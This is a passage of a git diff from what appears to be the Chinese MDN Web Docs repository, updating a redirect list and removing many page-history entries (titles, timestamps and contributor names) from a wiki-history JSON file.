/zh-CN/docs/扩展打包 /zh-CN/docs/Mozilla/add-ons/Extension_Packaging /zh-CN/docs/收集_In-Memory_数据源 /zh-CN/docs/Aggregating_the_In-Memory_Datasource -/zh-CN/docs/理解下划线 /zh-CN/docs/Understanding_Underlines +/zh-CN/docs/理解下划线 /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals /zh-CN/docs/网页代码移植:从_IE_到_Mozilla /zh-CN/docs/Migrate_apps_from_Internet_Explorer_to_Mozilla /zh-CN/docs/通过CVS获取源码 /zh-CN/docs/Mozilla/Developer_guide/Source_Code/CVS /zh-CN/docs/首页 /zh-CN/docs/Web diff --git a/files/zh-cn/_wikihistory.json b/files/zh-cn/_wikihistory.json index 54cedab2da..640813454b 100644 --- a/files/zh-cn/_wikihistory.json +++ b/files/zh-cn/_wikihistory.json @@ -1,70 +1,4 @@ { - "API/Pointer_Lock_API": { - "modified": "2020-07-02T02:40:37.086Z", - "contributors": [ - "brizer", - "fscholz", - "princetoad@gmail.com" - ] - }, - "CSS/float": { - "modified": "2020-11-29T04:21:18.185Z", - "contributors": [ - "Nyaasu", - "RainSlide", - "Murphy1024", - "Jack.Works", - "zhuangyin", - "tcatche", - "Ende93", - "xgqfrms-GitHub", - "Sarlaka", - "fscholz", - "Sebastianz", - "xiaodongzai", - "AlexChao", - "linmx0130", - "FredWe", - "teoli", - "ziyunfei" - ] - }, - "Chrome": { - "modified": "2019-03-23T23:52:52.388Z", - "contributors": [ - "ziyunfei", - "Jedichou", - "Freeopen" - ] - }, - "Controlling_DNS_prefetching": { - "modified": "2020-10-15T21:21:12.955Z", - "contributors": [ - "RainSlide", - "lsvih", - "zhuangyin", - "yyhaxx", - "RequireSun", - "yowangbin", - "markyun", - "Ende93", - "hucz08" - ] - }, - "DHTML": { - "modified": "2019-03-23T23:46:38.426Z", - "contributors": [ - "ziyunfei", - "Wind930" - ] - }, - "Example_2_-_Using_UL": { - "modified": "2019-03-18T20:44:28.267Z", - "contributors": [ - "RainSlide", - "blue0125" - ] - }, "Games": { "modified": "2019-09-21T02:47:40.270Z", "contributors": [ @@ -112,13 +46,6 @@ "noiron" ] }, - "Games/Introduction_to_HTML5_Game_Gevelopment_(summary)": { - "modified": "2019-01-17T01:15:39.320Z", - "contributors": [ - "wbamberg", - "xgqfrms-GitHub" - ] - }, "Games/Publishing_games": { "modified": "2019-01-17T00:50:49.182Z", "contributors": [ @@ -140,15 +67,6 @@ "chengweigao" ] }, - "Games/Publishing_games/游戏货币化": { - "modified": "2019-07-23T05:31:53.344Z", - "contributors": [ - "c03311", - "wbamberg", - "tannineo", - "chenXiaoZhui" - ] - }, "Games/Techniques": { "modified": "2020-01-16T08:22:10.237Z", "contributors": [ @@ -224,12 +142,6 @@ "wbamberg" ] }, - "Games/Techniques/Control_mechanisms/移动端触摸控制": { - "modified": "2019-03-18T21:13:06.265Z", - "contributors": [ - "fisho" - ] - }, "Games/Techniques/Controls_Gamepad_API": { "modified": "2019-03-18T21:38:23.713Z", "contributors": [ @@ -244,13 +156,6 @@ "dkocho4" ] }, - "Games/Tools/引擎和工具": { - "modified": "2019-03-23T22:12:27.616Z", - "contributors": [ - "wbamberg", - "ChenXiCC" - ] - }, "Games/Tutorials": { "modified": "2019-03-23T22:18:56.983Z", "contributors": [ @@ -342,18 +247,6 @@ "DHecarim" ] }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/收尾工作": { - "modified": "2020-03-04T06:46:31.914Z", - "contributors": [ - "zmx0142857" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/鼠标控制": { - "modified": "2020-03-04T06:03:22.539Z", - "contributors": [ - "zmx0142857" - ] - }, "Games/Tutorials/2D_breakout_game_Phaser": { "modified": "2019-03-23T22:13:33.607Z", "contributors": [ @@ -484,21 +377,6 @@ "Javen" ] }, - "Games/简介": { - "modified": "2019-12-05T00:08:12.532Z", - "contributors": [ - "catcatching", - "wbamberg", - "codeofjackie", - "zsxeee", - "varcat", - "WMin", - "hansonfang", - "13310", - "magiclyde", - "fierayan" - ] - }, "Glossary": { "modified": "2020-10-07T11:15:25.314Z", "contributors": [ @@ -930,12 +808,6 @@ "HardcorePhysician" ] }, - "Glossary/DTD": { - "modified": "2019-03-23T22:20:01.642Z", - "contributors": [ - "eforegist" - ] - }, "Glossary/Data_structure": { "modified": "2019-03-18T21:30:43.505Z", "contributors": [ @@ -1328,14 +1200,6 @@ "Chor" ] }, - "Glossary/Header": { - "modified": "2020-02-12T09:54:25.924Z", - "contributors": [ - "RainSlide", - "zhangchen", - "WayneCui" - ] - }, "Glossary/Hoisting": { "modified": "2020-11-12T05:34:45.112Z", "contributors": [ @@ -1397,12 +1261,6 @@ "plusmultiply0" ] }, - "Glossary/IP地址": { - "modified": "2020-05-30T02:17:49.722Z", - "contributors": [ - "kagurakana" - ] - }, "Glossary/IRC": { "modified": "2020-01-22T01:15:44.275Z", "contributors": [ @@ -1857,13 +1715,6 @@ "greatofdream" ] }, - "Glossary/Serialize": { - "modified": "2019-03-23T22:07:45.475Z", - "contributors": [ - "Ende93", - "JohnZengshi" - ] - }, "Glossary/Server": { "modified": "2019-03-18T20:48:05.867Z", "contributors": [ @@ -2267,245 +2118,6 @@ "liguorain" ] }, - "Glossary/主轴": { - "modified": "2020-05-10T10:26:14.352Z", - "contributors": [ - "Isildur46" - ] - }, - "Glossary/交叉轴": { - "modified": "2020-06-09T04:50:28.922Z", - "contributors": [ - "lmx-Hexagram", - "Isildur46" - ] - }, - "Glossary/代理服务器": { - "modified": "2019-03-18T21:22:15.777Z", - "contributors": [ - "lcw0622" - ] - }, - "Glossary/优雅降级": { - "modified": "2020-02-12T11:01:35.540Z", - "contributors": [ - "RainSlide", - "biqing" - ] - }, - "Glossary/伪类": { - "modified": "2020-09-25T11:55:47.602Z", - "contributors": [ - "Ninglo" - ] - }, - "Glossary/元素": { - "modified": "2020-08-10T23:10:02.620Z", - "contributors": [ - "IdEvEbI", - "244462375", - "RainSlide", - "dsdog1997", - "HDUCC", - "jianbinfu", - "pluwen" - ] - }, - "Glossary/卡片分类法": { - "modified": "2019-11-09T07:01:56.698Z", - "contributors": [ - "Xugen-Ma" - ] - }, - "Glossary/地址路由参数域": { - "modified": "2019-03-18T20:31:46.228Z", - "contributors": [ - "huanghe2015" - ] - }, - "Glossary/域名": { - "modified": "2019-03-23T22:04:34.305Z", - "contributors": [ - "micblo" - ] - }, - "Glossary/基线": { - "modified": "2020-05-10T09:55:14.332Z", - "contributors": [ - "Isildur46" - ] - }, - "Glossary/字符编码": { - "modified": "2020-02-12T10:38:11.288Z", - "contributors": [ - "RainSlide", - "fish-inu" - ] - }, - "Glossary/幂等": { - "modified": "2020-06-05T03:53:12.558Z", - "contributors": [ - "bytetown", - "zhangchen", - "WayneCui" - ] - }, - "Glossary/异步": { - "modified": "2020-10-16T00:10:28.593Z", - "contributors": [ - "Neo42", - "fish-inu" - ] - }, - "Glossary/抽象编程": { - "modified": "2020-01-16T01:08:30.168Z", - "contributors": [ - "Kuichen" - ] - }, - "Glossary/数字证书": { - "modified": "2019-03-23T22:26:11.405Z", - "contributors": [ - "Atester" - ] - }, - "Glossary/数据库": { - "modified": "2020-11-25T09:15:57.640Z", - "contributors": [ - "ZH-S" - ] - }, - "Glossary/正常模式": { - "modified": "2019-03-18T21:11:47.868Z", - "contributors": [ - "serverLua", - "CapDuan" - ] - }, - "Glossary/浏览器": { - "modified": "2019-03-23T22:12:12.389Z", - "contributors": [ - "micblo", - "lavenderming" - ] - }, - "Glossary/渐进增强": { - "modified": "2019-03-18T20:54:47.653Z", - "contributors": [ - "biqing" - ] - }, - "Glossary/源": { - "modified": "2019-03-23T22:21:16.972Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, - "Glossary/禁止修改的消息首部": { - "modified": "2019-03-18T20:55:25.213Z", - "contributors": [ - "Opportunity", - "yuankunzhang", - "WayneCui" - ] - }, - "Glossary/空元素": { - "modified": "2020-05-27T05:46:24.967Z", - "contributors": [ - "changjingli", - "Ende93" - ] - }, - "Glossary/立即执行函数表达式": { - "modified": "2019-10-10T13:29:59.923Z", - "contributors": [ - "SAM.L", - "RainSlide", - "zhangchen", - "CapDuan", - "baooab", - "xgqfrms-GitHub", - "zachary05" - ] - }, - "Glossary/第一字节时间": { - "modified": "2020-08-17T07:40:42.498Z", - "contributors": [ - "Facefall" - ] - }, - "Glossary/简单头部": { - "modified": "2019-03-18T21:33:57.550Z", - "contributors": [ - "huangll" - ] - }, - "Glossary/算法": { - "modified": "2019-12-09T04:39:20.829Z", - "contributors": [ - "ran", - "huanghe2015" - ] - }, - "Glossary/类型转换": { - "modified": "2019-06-24T05:38:16.865Z", - "contributors": [ - "RainSlide", - "danielnanuk" - ] - }, - "Glossary/编译": { - "modified": "2019-03-18T21:35:31.612Z", - "contributors": [ - "ethanzway" - ] - }, - "Glossary/编译时间": { - "modified": "2019-03-18T21:35:17.139Z", - "contributors": [ - "ethanzway" - ] - }, - "Glossary/语义": { - "modified": "2020-02-12T10:16:15.832Z", - "contributors": [ - "RainSlide", - "秋色楓", - "acejerry", - "DaMber" - ] - }, - "Glossary/请求头": { - "modified": "2020-02-12T10:12:37.548Z", - "contributors": [ - "RainSlide", - "c1er", - "huangll" - ] - }, - "Glossary/通用首部": { - "modified": "2020-02-12T09:58:36.039Z", - "contributors": [ - "RainSlide", - "WayneCui" - ] - }, - "Glossary/面向对象编程": { - "modified": "2019-03-23T22:19:08.166Z", - "contributors": [ - "zhangchen", - "fan19900404" - ] - }, - "Glossary_of_translation": { - "modified": "2019-03-23T23:33:18.884Z", - "contributors": [ - "Terry.Qiao", - "xcffl", - "iwo", - "yfdyh000" - ] - }, "HTML_in_XMLHttpRequest": { "modified": "2019-03-24T00:17:24.579Z", "contributors": [ @@ -2735,20 +2347,6 @@ "CharCat" ] }, - "Learn/CSS/Building_blocks/处理_不同_方向的_文本": { - "modified": "2020-07-16T22:29:14.755Z", - "contributors": [ - "ChongyouXu", - "lucida959595", - "Young-Spark", - "ZouYj", - "dlnb526", - "SirnoChan", - "sliop", - "Orzst", - "kuhnpku" - ] - }, "Learn/CSS/CSS_layout": { "modified": "2020-08-06T11:35:54.083Z", "contributors": [ @@ -2936,44 +2534,6 @@ "SirnoChan" ] }, - "Learn/CSS/CSS_layout/传统的布局方法": { - "modified": "2020-07-16T22:27:16.084Z", - "contributors": [ - "SirnoChan", - "Hermedius", - "zxxzzzzz", - "agnoCJY" - ] - }, - "Learn/CSS/CSS_layout/定位": { - "modified": "2020-12-01T00:39:03.074Z", - "contributors": [ - "zisedelinghun", - "driftingdream", - "laizenan", - "parabolazz", - "LuoYun", - "TaoXuSheng", - "codeofjackie", - "fourml", - "summercn", - "allan_simon", - "yuyx91", - "lihaoyuan", - "xp44mm", - "yydzxz", - "ddtyjmyjm", - "Froggy", - "uestcNaldo", - "Eric.Wu", - "echoArray", - "xgqfrms-GitHub", - "Ende93", - "depressedX", - "siufooncheung", - "1986slayer" - ] - }, "Learn/CSS/First_steps": { "modified": "2020-07-16T22:27:41.508Z", "contributors": [ @@ -2988,21 +2548,6 @@ "kfk2454" ] }, - "Learn/CSS/First_steps/CSS如何运行": { - "modified": "2020-07-16T22:28:02.363Z", - "contributors": [ - "ChongyouXu", - "shizigood", - "dlnb526", - "SirnoChan", - "pacexy", - "kuhnpku", - "FrankYuanhao", - "0x79b9", - "SphinxKnight", - "xcxAscar" - ] - }, "Learn/CSS/First_steps/How_CSS_is_structured": { "modified": "2020-10-06T13:23:28.338Z", "contributors": [ @@ -3040,19 +2585,6 @@ "ArcherGrey" ] }, - "Learn/CSS/First_steps/开始": { - "modified": "2020-07-16T22:27:52.665Z", - "contributors": [ - "dlnb526", - "SirnoChan", - "byeyear", - "HHao", - "zyzxrj", - "fondxy", - "Amano-Aki", - "RUAN-ZX" - ] - }, "Learn/CSS/Howto": { "modified": "2020-07-16T22:25:44.300Z", "contributors": [ @@ -3062,127 +2594,6 @@ "githubxiaowen" ] }, - "Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension": { - "modified": "2020-10-09T04:34:43.547Z", - "contributors": [ - "benniks", - "blateyang", - "grape", - "LeoB-O", - "codeofjackie", - "allan_simon", - "phiwyc", - "yydzxz", - "ddtyjmyjm", - "nbhaohao" - ] - }, - "Learn/CSS/Styling_boxes/A_cool_looking_box": { - "modified": "2020-07-16T22:28:27.701Z", - "contributors": [ - "grape", - "Lohoyo", - "lihaoyuan" - ] - }, - "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper": { - "modified": "2020-07-16T22:28:25.559Z", - "contributors": [ - "codeofjackie", - "ziyunfei", - "Yee", - "lihaoyuan" - ] - }, - "Learn/CSS/为文本添加样式": { - "modified": "2020-07-16T22:26:01.367Z", - "contributors": [ - "kohai", - "LJJ1996", - "allan_simon", - "zhuangyin", - "zhang-kai", - "ZhongyiChen" - ] - }, - "Learn/CSS/为文本添加样式/Fundamentals": { - "modified": "2020-07-16T22:26:10.120Z", - "contributors": [ - "AlephAlpha", - "Otaku-Glasses", - "grape", - "xiaoman", - "byeyear", - "Sinclair-Yuan", - "ssttii", - "tiange321", - "sixDregs", - "zhuzhangliang", - "liy010", - "codeofjackie", - "1862", - "maoyumaoxun", - "allan_simon", - "comehope", - "xp44mm", - "sputnikW", - "yydzxz", - "Froggy", - "nbhaohao" - ] - }, - "Learn/CSS/为文本添加样式/Styling_links": { - "modified": "2020-07-16T22:26:21.533Z", - "contributors": [ - "so2liu", - "SirnoChan", - "Map1en_", - "LeoB-O", - "dchaofei", - "codeofjackie", - "Fungzhe", - "allan_simon", - "xp44mm", - "sputnikW", - "nbhaohao" - ] - }, - "Learn/CSS/为文本添加样式/Styling_lists": { - "modified": "2020-07-16T22:26:15.817Z", - "contributors": [ - "rtxu", - "codeofjackie", - "allan_simon", - "xp44mm", - "Froggy", - "jingyiwang1209", - "Ende93", - "Barren", - "qw950027", - "dazyzsy" - ] - }, - "Learn/CSS/为文本添加样式/Typesetting_a_homepage": { - "modified": "2020-07-16T22:26:27.995Z", - "contributors": [ - "monkey-king", - "grape", - "Map1en_", - "codeofjackie", - "maplelinst" - ] - }, - "Learn/CSS/为文本添加样式/Web_字体": { - "modified": "2020-07-16T22:26:25.043Z", - "contributors": [ - "AlephAlpha", - "LeoB-O", - "zenghuiLee", - "admin1949", - "wheeljs", - "Froggy" - ] - }, "Learn/Common_questions": { "modified": "2020-07-16T22:35:28.142Z", "contributors": [ @@ -3363,24 +2774,6 @@ "Selence1988" ] }, - "Learn/Common_questions/实用文本编辑器": { - "modified": "2020-07-16T22:35:49.753Z", - "contributors": [ - "A-rise" - ] - }, - "Learn/Discover_browser_developer_tools": { - "modified": "2020-08-09T19:35:32.533Z", - "contributors": [ - "DarkStory", - "eelord", - "ziyouwa", - "Atractylodes", - "wth", - "ziyunfei", - "zhaoy875" - ] - }, "Learn/Getting_started_with_the_web": { "modified": "2020-09-24T11:26:23.243Z", "contributors": [ @@ -3614,238 +3007,6 @@ "ziyunfei" ] }, - "Learn/HTML/Forms": { - "modified": "2020-07-16T22:21:02.678Z", - "contributors": [ - "615lyw", - "Lohoyo", - "lihaoyuan", - "yydzxz", - "StarryForce", - "Froggy", - "chrisdavidmills", - "ziyunfei", - "JulieLee77", - "teoli", - "Jeremie" - ] - }, - "Learn/HTML/Forms/Advanced_styling_for_HTML_forms": { - "modified": "2020-07-16T22:21:36.744Z", - "contributors": [ - "rtxu", - "Daniel313", - "codeofjackie", - "yydzxz", - "tzigang" - ] - }, - "Learn/HTML/Forms/Data_form_validation": { - "modified": "2020-07-16T22:21:53.600Z", - "contributors": [ - "dlnb526", - "wavedanger", - "WoodCube", - "PYGC", - "liudadadayu", - "Amano_Sei", - "kazimics", - "codeofjackie", - "tinyhare", - "lihaoyuan", - "dondevi", - "littledust", - "crper", - "yydzxz", - "pantao", - "Froggy", - "xianshenglu", - "songbinghui", - "monsterooo", - "liu-xiao-cui", - "jileieli" - ] - }, - "Learn/HTML/Forms/HTML_forms_in_legacy_browsers": { - "modified": "2020-07-16T22:22:04.178Z", - "contributors": [ - "haoye999", - "lovedebug", - "jaiJia", - "littledust" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets": { - "modified": "2020-07-16T22:21:58.787Z", - "contributors": [ - "WoodCube", - "rtxu", - "feixiang5754", - "lonelywhisper", - "yasminyt", - "honey6", - "codeofjackie", - "tinyhare", - "yochii", - "uselessaddress", - "crper", - "yydzxz", - "zqyue", - "darkeggler", - "Froggy", - "chrisdavidmills", - "Sheppy", - "ziyunfei", - "helloguangxue" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1": { - "modified": "2020-07-16T22:21:59.182Z", - "contributors": [ - "Qos", - "549074491", - "codeofjackie" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2": { - "modified": "2020-07-16T22:21:59.542Z", - "contributors": [ - "shc0743", - "codeofjackie" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3": { - "modified": "2020-07-16T22:21:59.861Z", - "contributors": [ - "shc0743", - "codeofjackie" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4": { - "modified": "2020-07-16T22:22:00.186Z", - "contributors": [ - "shc0743", - "codeofjackie" - ] - }, - "Learn/HTML/Forms/How_to_structure_an_HTML_form": { - "modified": "2020-07-16T22:21:16.348Z", - "contributors": [ - "lucida959595", - "imba-tjd", - "naivexcited", - "WoodCube", - "Zhang-YanQi", - "liy010", - "web-xx", - "codeofjackie", - "lihaoyuan", - "yawei", - "zqyue", - "StarryForce", - "Froggy" - ] - }, - "Learn/HTML/Forms/Property_compatibility_table_for_form_widgets": { - "modified": "2020-07-16T22:21:44.843Z", - "contributors": [ - "codeofjackie", - "lovedebug" - ] - }, - "Learn/HTML/Forms/Sending_and_retrieving_form_data": { - "modified": "2020-07-16T22:21:29.690Z", - "contributors": [ - "rtxu", - "WoodCube", - "aliang2017", - "codeofjackie", - "yydzxz", - "Froggy", - "KngZhi", - "chrisdavidmills", - "juzhiyuan" - ] - }, - "Learn/HTML/Forms/Sending_forms_through_JavaScript": { - "modified": "2020-07-16T22:22:02.523Z", - "contributors": [ - "RainSlide", - "WoodCube", - "xing2000", - "Bayes", - "codeofjackie", - "littledust", - "yydzxz", - "Chenng", - "chrisdavidmills", - "ziyunfei", - "sanxingming", - "helloguangxue", - "teoli" - ] - }, - "Learn/HTML/Forms/Styling_HTML_forms": { - "modified": "2020-07-16T22:21:32.838Z", - "contributors": [ - "jiaodk", - "rtxu", - "coder-git", - "33YANG", - "Daniel313", - "codeofjackie", - "lovedebug", - "yydzxz", - "lucoo01" - ] - }, - "Learn/HTML/Forms/The_native_form_widgets": { - "modified": "2020-09-17T23:41:07.186Z", - "contributors": [ - "aaazz47", - "853419196", - "WoodCube", - "wsyconan", - "Drizzt-Yu", - "Kavelaa", - "coldicecn", - "Danielxiey", - "codeofjackie", - "Lohoyo", - "lihaoyuan", - "xp44mm", - "uselessaddress", - "littledust", - "yydzxz", - "ddtyjmyjm", - "StarryForce", - "Froggy" - ] - }, - "Learn/HTML/Forms/Your_first_HTML_form": { - "modified": "2020-08-16T03:03:38.716Z", - "contributors": [ - "NicholasZhan", - "WoodCube", - "ChairMao", - "haoye999", - "coldicecn", - "xiangluoming", - "hddhyq", - "Lohoyo", - "maoyumaoxun", - "lyncodes", - "allan_simon", - "lihaoyuan", - "superkuang", - "ddtyjmyjm", - "StarryForce", - "Froggy", - "chrisdavidmills", - "ziyunfei", - "sanxingming" - ] - }, "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks": { "modified": "2020-12-06T07:20:56.145Z", "contributors": [ @@ -4005,29 +3166,6 @@ "badwomanIloveyou" ] }, - "Learn/HTML/Multimedia_and_embedding/其他嵌入技术": { - "modified": "2020-09-22T04:49:55.434Z", - "contributors": [ - "NellPoi", - "yangko", - "pacexy", - "monkey-king", - "WoodCube", - "Roy-Tian", - "ChairMao", - "ZhangDaZongWei", - "Danielxiey", - "615lyw", - "CaTmmao", - "Lohoyo", - "RevolverOcelotA", - "lihaoyuan", - "superkuang", - "yydzxz", - "ddtyjmyjm", - "Eric.Wu" - ] - }, "Learn/HTML/Tables": { "modified": "2020-07-16T22:25:16.499Z", "contributors": [ @@ -4610,22 +3748,6 @@ "WavinFlag" ] }, - "Learn/JavaScript/Objects/向“弹跳球”演示程序添加新功能": { - "modified": "2020-07-16T22:32:36.563Z", - "contributors": [ - "Wenke-D", - "Roy-Tian", - "gofly1988", - "lihaoyuan", - "bluekeroro" - ] - }, - "Learn/JavaScript/Objects/测试你的技能:面向对象的Javascript": { - "modified": "2020-08-05T11:02:17.810Z", - "contributors": [ - "driftingdream" - ] - }, "Learn/Performance/CSS": { "modified": "2020-07-16T22:40:41.520Z", "contributors": [ @@ -4726,14 +3848,6 @@ "ygxwdls" ] }, - "Learn/Tools_and_testing/Client-side_JavaScript_frameworks/介绍": { - "modified": "2020-11-19T04:46:02.957Z", - "contributors": [ - "514059172", - "You2er", - "risejl" - ] - }, "Learn/Tools_and_testing/Cross_browser_testing": { "modified": "2020-07-16T22:39:02.261Z", "contributors": [ @@ -4794,21 +3908,6 @@ "liminjun" ] }, - "Learn/Tools_and_testing/Cross_browser_testing/可访问性": { - "modified": "2020-07-16T22:39:17.935Z", - "contributors": [ - "freejack811", - "Sc0tt" - ] - }, - "Learn/Tools_and_testing/Cross_browser_testing/测试策略": { - "modified": "2020-07-16T22:39:08.099Z", - "contributors": [ - "wangfangping", - "YaoLIII", - "ty4z2008" - ] - }, "Learn/Tools_and_testing/GitHub": { "modified": "2020-08-17T07:24:09.907Z", "contributors": [ @@ -4835,30 +3934,6 @@ "YLX621" ] }, - "Learn/tutorial": { - "modified": "2020-07-16T22:33:40.955Z", - "contributors": [ - "Andrew_Pfeiffer" - ] - }, - "Learn/tutorial/How_to_build_a_web_site": { - "modified": "2020-07-16T22:33:41.521Z", - "contributors": [ - "LX" - ] - }, - "Localization": { - "modified": "2019-03-23T23:33:42.693Z", - "contributors": [ - "xcffl" - ] - }, - "MDC:怎样进行帮助": { - "modified": "2019-01-16T16:56:07.625Z", - "contributors": [ - "ygtyugh" - ] - }, "MDN": { "modified": "2020-02-19T17:55:29.065Z", "contributors": [ @@ -4902,67 +3977,6 @@ "lunix01" ] }, - "MDN/Community": { - "modified": "2020-04-03T05:16:15.416Z", - "contributors": [ - "SphinxKnight", - "shiguang", - "wbamberg", - "Planet6174", - "Forbidden", - "ZQH", - "suwenbin", - "maksyuki", - "Ende93", - "shuding", - "yun174long", - "IBuly", - "civilian", - "MofeLee", - "ziyunfei", - "Fiag" - ] - }, - "MDN/Community/Conversations": { - "modified": "2020-04-08T04:56:55.004Z", - "contributors": [ - "SirnoChan", - "ewfian", - "Chor", - "wbamberg", - "chaosdog", - "jswisher", - "tanyan2004", - "githubzh123" - ] - }, - "MDN/Community/Doc_sprints": { - "modified": "2019-03-18T20:44:27.614Z", - "contributors": [ - "RainSlide", - "wbamberg", - "ElliottZheng", - "varcat" - ] - }, - "MDN/Community/Whats_happening": { - "modified": "2020-07-16T22:45:19.757Z", - "contributors": [ - "brizer", - "wbamberg", - "IannaZhou", - "fanyj1994", - "1986slayer" - ] - }, - "MDN/Community/在社区工作": { - "modified": "2020-02-19T18:49:08.850Z", - "contributors": [ - "jswisher", - "wbamberg", - "huangzijian888" - ] - }, "MDN/Contribute": { "modified": "2019-03-04T23:39:43.858Z", "contributors": [ @@ -5055,27 +4069,6 @@ "xhlsrj" ] }, - "MDN/Contribute/Howto/Create_an_MDN_account": { - "modified": "2020-08-03T02:14:19.507Z", - "contributors": [ - "zonghuaj", - "jackleeholmes", - "dwns545", - "kgbook", - "roboterwise", - "wbamberg", - "Disat", - "Zhsirting", - "jiajinning", - "BoothLuo", - "WavinFlag", - "acgpiano", - "1xxxx", - "wth", - "ziyunfei", - "fanziy75" - ] - }, "MDN/Contribute/Howto/Create_and_edit_pages": { "modified": "2020-08-13T06:15:42.058Z", "contributors": [ @@ -5119,65 +4112,6 @@ "sweetliu" ] }, - "MDN/Contribute/Howto/Do_a_technical_review": { - "modified": "2020-06-06T00:56:15.988Z", - "contributors": [ - "ice-kylin", - "wbamberg", - "Mr.ma", - "zt19994", - "jianxin-zhang", - "righttoe", - "The-End-Hero", - "pidanhua", - "Roland_Reed", - "majunbao", - "pixiu" - ] - }, - "MDN/Contribute/Howto/Do_an_editorial_review": { - "modified": "2020-02-24T12:04:57.900Z", - "contributors": [ - "zhanglolo", - "IFVFORNONE", - "SphinxKnight", - "YUYUEy", - "chrislung", - "Azurak", - "wbamberg", - "quainter", - "Katherina-Miao", - "ucev", - "liujinyu", - "faremax", - "nanflower", - "YFM-getA", - "LiuTong", - "Martin.Chow", - "MMOnster", - "lunix01" - ] - }, - "MDN/Contribute/Howto/Set_the_summary_for_a_page": { - "modified": "2019-10-29T05:37:01.880Z", - "contributors": [ - "7NZ", - "Socheny", - "zhangdonglei", - "wbamberg", - "WeJie", - "Schr0dinger", - "itao1314", - "52yang", - "ivanberry", - "ziyunfei", - "Inceng", - "salmon8881", - "zzhi", - "Minnie", - "Yanzhu.Yin" - ] - }, "MDN/Contribute/Howto/Tag": { "modified": "2020-04-29T12:58:13.297Z", "contributors": [ @@ -5190,18 +4124,6 @@ "ganshenhai" ] }, - "MDN/Contribute/Howto/Tag_JavaScript_pages": { - "modified": "2019-01-16T21:47:16.976Z", - "contributors": [ - "wbamberg", - "Gale", - "BiGrEgGaErOoTs", - "joke", - "Ahkari", - "ziyunfei", - "lushunming" - ] - }, "MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary": { "modified": "2019-03-18T21:16:25.185Z", "contributors": [ @@ -5221,17 +4143,6 @@ "Syclover-u2400" ] }, - "MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web": { - "modified": "2020-09-06T02:30:17.183Z", - "contributors": [ - "Cheese-Chip", - "SuiltaPico", - "gu_qing", - "Azurak", - "wbamberg", - "liminjun" - ] - }, "MDN/Contribute/Howto/Write_for_SEO": { "modified": "2019-01-17T03:12:28.083Z", "contributors": [ @@ -5239,95 +4150,6 @@ "MartinJLiu" ] }, - "MDN/Contribute/Howto/如何添加或更新浏览器兼容性数据": { - "modified": "2019-03-18T21:38:16.029Z", - "contributors": [ - "wbamberg", - "kite-js" - ] - }, - "MDN/Contribute/Howto/学习_交互_在线_起步_开始": { - "modified": "2019-03-18T21:43:40.910Z", - "contributors": [ - "wbamberg", - "ZweiZhao" - ] - }, - "MDN/Contribute/Howto/成为一名测试版试验员": { - "modified": "2019-03-23T22:10:34.334Z", - "contributors": [ - "fengchunsgit", - "wbamberg", - "fbambi", - "sunnysabor" - ] - }, - "MDN/Editor": { - "modified": "2020-09-30T15:44:25.503Z", - "contributors": [ - "chrisdavidmills", - "thouen", - "woniuxingdong", - "TeabugCC", - "yuan81777", - "zhangqiangoffice", - "xjr7670", - "Y.Young", - "ChuckZhang", - "mona", - "jiahui", - "Roland_Reed", - "JoshuaLee", - "GeoffreyQ", - "sunxiang", - "OlingCat", - "Meteormatt" - ] - }, - "MDN/Editor/Basics": { - "modified": "2020-09-30T15:44:25.432Z", - "contributors": [ - "chrisdavidmills", - "zhangqiangoffice", - "Jeane", - "yy1107", - "world521", - "q1560760" - ] - }, - "MDN/Editor/Basics/Page_controls": { - "modified": "2020-09-30T15:44:25.715Z", - "contributors": [ - "chrisdavidmills", - "zhangqiangoffice" - ] - }, - "MDN/Editor/Basics/Page_info": { - "modified": "2020-09-30T15:44:25.570Z", - "contributors": [ - "chrisdavidmills", - "zhangqiangoffice" - ] - }, - "MDN/Editor/Edit_box": { - "modified": "2020-09-30T15:44:25.913Z", - "contributors": [ - "chrisdavidmills", - "RainSlide", - "yuan81777", - "zhangqiangoffice" - ] - }, - "MDN/Editor/Source_mode": { - "modified": "2020-09-30T15:44:26.291Z", - "contributors": [ - "chrisdavidmills", - "SirnoChan", - "yinsang", - "woniuxingdong", - "zhangqiangoffice" - ] - }, "MDN/Guidelines": { "modified": "2020-09-30T15:32:46.472Z", "contributors": [ @@ -5347,54 +4169,6 @@ "shc0743" ] }, - "MDN/Guidelines/Content_blocks": { - "modified": "2020-09-30T15:32:46.742Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "OlingCat" - ] - }, - "MDN/Guidelines/Rules_Of_MDN_Documenting": { - "modified": "2020-09-30T15:32:46.957Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "zccz14" - ] - }, - "MDN/Guidelines/Style_guide": { - "modified": "2020-11-14T07:38:19.734Z", - "contributors": [ - "kuailekai", - "chrisdavidmills", - "jswisher", - "wbamberg", - "codeofjackie", - "Dousy", - "Terry.Qiao", - "jianxin-zhang", - "DennisWang", - "suncn", - "WynnChen", - "zmh_w", - "OlingCat" - ] - }, - "MDN/Kuma": { - "modified": "2019-09-09T15:54:47.389Z", - "contributors": [ - "SphinxKnight", - "RainSlide", - "yuan81777", - "Chor", - "wbamberg", - "myshell1983", - "popcorner", - "Jack-Q", - "xgqfrms" - ] - }, "MDN/MDN_Product_Advisory_Board": { "modified": "2019-01-17T01:56:35.044Z", "contributors": [ @@ -5458,14 +4232,6 @@ "jiahui" ] }, - "MDN/Structures/Live_samples/Simple_live_sample_demo": { - "modified": "2020-09-30T12:57:47.049Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Howard.Chen" - ] - }, "MDN/Structures/Macros": { "modified": "2020-09-30T12:57:46.893Z", "contributors": [ @@ -5478,26 +4244,6 @@ "jswisher" ] }, - "MDN/Structures/Macros/Custom_macros": { - "modified": 